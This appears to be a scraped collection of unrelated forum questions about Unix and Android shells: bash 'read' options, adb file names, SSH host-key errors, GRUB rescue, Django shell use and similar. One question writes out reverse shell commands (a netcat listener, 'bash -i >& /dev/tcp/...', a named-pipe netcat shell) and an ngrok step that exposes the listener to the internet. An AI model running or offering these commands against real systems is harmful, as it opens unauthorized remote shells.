shell – linux – bash – read: Illegal option -n

on Ubuntu , I try to pause a bash shell script

read -n 1 -p"pause"

I have seen that syntax everywhere so I don’t understand why is it not working

and I get this error

./ 14: read: Illegal option -n

what I also don’t understand is that in the read man, there are no -n -p options

are there 2 different read commands in linux ?


How to use multibyte file names in adb shell?

I have a Galaxy S6 running Android 7.0:

zeroflte:/ $ getprop                                

There exists a file which uses the Unicode codepoint U+1F308 (RAINBOW) in its name:

zeroflte:/ $ ls -al /sdcard/tmp
total 1024
drwxrwx--x  5 root sdcard_rw 4096 2020-07-09 05:44 .
drwxrwx--x 49 root sdcard_rw 4096 2020-06-25 07:27 ..
-rw-rw----  1 root sdcard_rw   17 2018-04-25 20:47
drwxrwx--x  2 root sdcard_rw 4096 2020-07-09 05:54 crypt
-rw-rw----  1 root sdcard_rw    9 2020-07-08 13:26 🌈.gpx
zeroflte:/ $                                                                                                                                                                                                                                 

However, I have no idea how to use this file name in an adb shell command. I would like to apply ls -1 -d -l /sdcard/tmp/🌈.gpx or similar, but I cannot enter the RAINBOW char. Any idea how to do this?

Git SSH Not Working after installing new Dev Shell

I have carefully followed the document go/dev-shell to install the new dev shell and Git Setup on LVDI3. When I run the ds sync, I got the error message: Permission denied (publickey).
fatal: Could not read from remote repository.

I run the following two commands to check the configuration.

$ ssh-add -l
error fetching identities: agent refused operation
$ ssh -vT
OpenSSH_8.2p1, OpenSSL 1.1.1e  17 Mar 2020
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Connecting to ( port 22.
debug1: Connection established.
debug1: identity file /c/Users/v684780/.ssh/id_rsa type 0
debug1: identity file /c/Users/v684780/.ssh/id_rsa-cert type -1
debug1: identity file /c/Users/v684780/.ssh/id_dsa type -1
debug1: identity file /c/Users/v684780/.ssh/id_dsa-cert type -1
debug1: identity file /c/Users/v684780/.ssh/id_ecdsa type -1
debug1: identity file /c/Users/v684780/.ssh/id_ecdsa-cert type -1
debug1: identity file /c/Users/v684780/.ssh/id_ecdsa_sk type -1
debug1: identity file /c/Users/v684780/.ssh/id_ecdsa_sk-cert type -1
debug1: identity file /c/Users/v684780/.ssh/id_ed25519 type -1
debug1: identity file /c/Users/v684780/.ssh/id_ed25519-cert type -1
debug1: identity file /c/Users/v684780/.ssh/id_ed25519_sk type -1
debug1: identity file /c/Users/v684780/.ssh/id_ed25519_sk-cert type -1
debug1: identity file /c/Users/v684780/.ssh/id_xmss type -1
debug1: identity file /c/Users/v684780/.ssh/id_xmss-cert type -1
debug1: Local version string SSH-2.0-OpenSSH_8.2
debug1: Remote protocol version 2.0, remote software version OpenSSH_6.1
debug1: match: OpenSSH_6.1 pat OpenSSH* compat 0x04000000
debug1: Authenticating to as 'v684780'
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: algorithm: ecdh-sha2-nistp256                                                                     
debug1: kex: host key algorithm: ecdsa-sha2-nistp256                                                           
debug1: kex: server->client cipher: aes128-ctr MAC: compression: none                      
debug1: kex: client->server cipher: aes128-ctr MAC: compression: none                      
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY                                                                      
debug1: Server host key: ecdsa-sha2-nistp256 SHA256:U1WSHx08ejrFmnHhLOyTO6krz1ufthX3VNxKRKh1yjg                
@       WARNING: POSSIBLE DNS SPOOFING DETECTED!          @                                                    
The ECDSA host key for has changed,                                     
and the key for the corresponding IP address                                                   
is unknown. This could either mean that                                                                        
DNS SPOOFING is happening or the IP address for the host                                                       
and its host key have changed at the same time.                                                                
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @                                                    
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!                                                          
Someone could be eavesdropping on you right now (man-in-the-middle attack)!                                    
It is also possible that a host key has just been changed.                                                     
The fingerprint for the ECDSA key sent by the remote host is                                                   
Please contact your system administrator.                                                                      
Add correct host key in /c/Users/v684780/.ssh/known_hosts to get rid of this message.                          
Offending ECDSA key in /c/Users/v684780/.ssh/known_hosts:2                                                     
ECDSA host key for has changed and you have requested strict checking.  
Host key verification failed.  

I googled the web, someone suggested to remove the cached key, or update the C:Usersv684780.sshknown_hosts. I am not sure how to do it.

centos7 – Change linux shell

On my Centos7 Server I have different shells for my users.

For example the terminal as root looks like:

(root@hostname www)#.

The terminal as a different user looks like bash-4.2$.

If I type echo $0 to get the currently used shell I get /bin/bash on my different user and -bash on my root.

Do I have to configure the shell for my different user to make it looks like the shell for my root?

Is there a way to use the shell used in Debian (bash) to see the full path of my location? (root@server:/var/www# instead of root@server www).

Thanks for your help.

uefi – Grub 2.04 install says it’s successful but drops into the rescue shell

Our hardware is successfully running with UEFI/GRUB 2.02. The internal disk (/dev/sda) is GPT and the first partition starts at 1Mib, is 5Gb, and formatted as vfat. We are running Gentoo and using overlayfs. I need to update it to 2.04 so we can add Secure Boot.

I successfully used ebuild/emerge and updated GRUB. There are no errors during the install, but when the system reboots and runs GRUB it drops into the rescue shell with an “error: no such partition”. If I copy all the files to their appropriate place in the ‘real’ /boot/grub, I get error: symbol grub_file_filters not found.

Prior to rebooting I’ve checked: – the disk partitions and they look correct – Dumped the first 4 LBA’s of the disk and they appear to be a gpt partition table – efibootmgr -v displays what appears to be the correct info: EFIBOOTBOOTX64.EFI

The /dev/sda1/ mounted as /boot has the EFIBOOTBOOTX64.EFI file as well as the grub/x86_64-efi/* and grub/grub.cfg files.

After basic install:
The ‘ls’ command in the rescue shell gives (hd0) (hd1) (hd2) (hd3) (hd4) (hd5)
The internal boot drive is on (hd4).

After I copy all the relevant files from ‘boot/boot.g1_n2/EFI|grub’:
The ‘ls’ command in the rescue shell gives (hd0) (hd1) (hd2) (hd3) (hd4) (hd4,gpt3) (hd4,gpt2) (hd4,gpt1) (hd5)
The internal boot drive is still on (hd4)

We have a terrible, awkward debug environment that involves a minimal linux install environment and PXE booting every ISO. I feel like I’ve tried what I’ve found via google, but I’m sure I’ve missed something.

I’ve tried following along with various other things including answers on this site.

I’m not sure what else to try. Any other ideas?

linux – script shell que ejecuta programa que requiere toma dos archivos de entrada

Quiero desarrollar un script shell que llame a un programa que requiere dos archivos de entrada.
La cuestión está en que, no es solo una pareja la tiene que procesar, sino x numero de parejas que se encuentran en el mismo directorio.

En el directorio tengo por ejemplo:

1nt.fa 2aa.fa 2nt.fa 2aa.fa 3nt.fa 3aa.fa 4nt.fa 4aa.fa 5nt.fa 5aa.fa

la linea de comandos del programa es la siguiente:

xvfb-run ete3 build -a 1aa.fa -n 1nt.fa -o mix_types -w standard_fasttree --clearall --nt-switch-threshold 0.0

Y lo que intente fue lo siguiente, pero no funciono.

for f in eteanalysis/; do
    xvfb-run ete3 build
    -a $aa
    -n $nt
    -w standard_fasttree
    --nt-switch-threshold 0.0
    -o mixed_types/${f%.fasta}.ete3

Alguna idea?…También lo he intentado con parallel pero tampoco me funciono

bash – Unable to start reverse shell over HTTP

I am able to get a reverse shell working locally over TCP, but failing to trigger it remotely over HTTP.

Locally over TCP:

  • Attacker terminal runs netcat to listen for a connection over port 8000: nc -vv -l 8000
  • Target terminal sends an interactive bash shell to the attacker: bash -i >& /dev/tcp/localhost/8000 0>&1;
  • Success!

Remotely over HTTP:

  • Attacker runs netcat to listen for a connection over port 8000: nc -vv -l 8000
  • Attacker runs ngrok to generate a web-facing IP: ./ngrok http --subdomain=example 8000
  • Target runs an interactive bash shell: bash -i >& /dev/tcp/ 0>&1; (using port 80 because it’s HTTP)
  • The connection fails; I don’t even see any incoming traffic showing up on ngrok.

I also tried using netcat on the target machine, which unfortunately had the same result: /bin/bash 0< /tmp/mypipe | nc 4444 1> /tmp/mypipe (from this post)

Can anyone spot what I’m doing wrong?

selinux – Result of ls -la in adb shell

If I go into my unrooted phone’s adb shell (Samsung galaxy s7 Android 8) I get a result similar to this:

dr-xr-xr-x 921 root   root         0 2020-01-26 10:06 acct
-rw-r--r--   1 root   root       225 1970-01-01 09:00 android.hardware.drm@1.0-service.widevine.rc
-rw-r--r--   1 root   root     45121 1970-01-01 09:00 audit_filter_table  

Notice that there is no . after the file permissions (eg: dr-xr-xr-x). If I type getenforce I get


so SELinux is enforced. Then why doesn’t ls show a . after the file permissions? Has it always been this way in android? As far as I know, in Centos ls result will show a . after file permissions if SELinux is installed and enforced/permissive. Does android behave differently in this regard?

nginx – How can I use the django shell while the server is running?

I have a django server deployed on digitalocean with gunicorn and nginx.
I followed a tutorial, I think it was this one.
Because of the tutorial I have django only installed in a virtualenv.

When I developed the server, I used to do stuff in the shell, like checking things in the sqlite database.

Is using the shell a good idea while the server is running, or can it break things?
How can I use the shell, should I activate the venv and the typepython shell?

Thx for your help and stay healthy!

ssh – How to find out what causes user shell to be changed to /bin/false

I have the case when one of my users are getting login disabled automatically.

I was trying to find out what is causing this. Found that rkhunter app was monitoring changes in /etc/passwd and restoring saved version in case if change was detected.
Now I have removed rkhunter completelly. But case is still there.

I see in /var/log/secure the lines like
‘change user xxx shell from /bin/bash to /bin/false’

And thats all what I have found. Obviously, there is some app that are runing usermod command to do that change.
But I unlikelly unable to find it.

Does anyone had such cases in experience? How can I find source of the issue?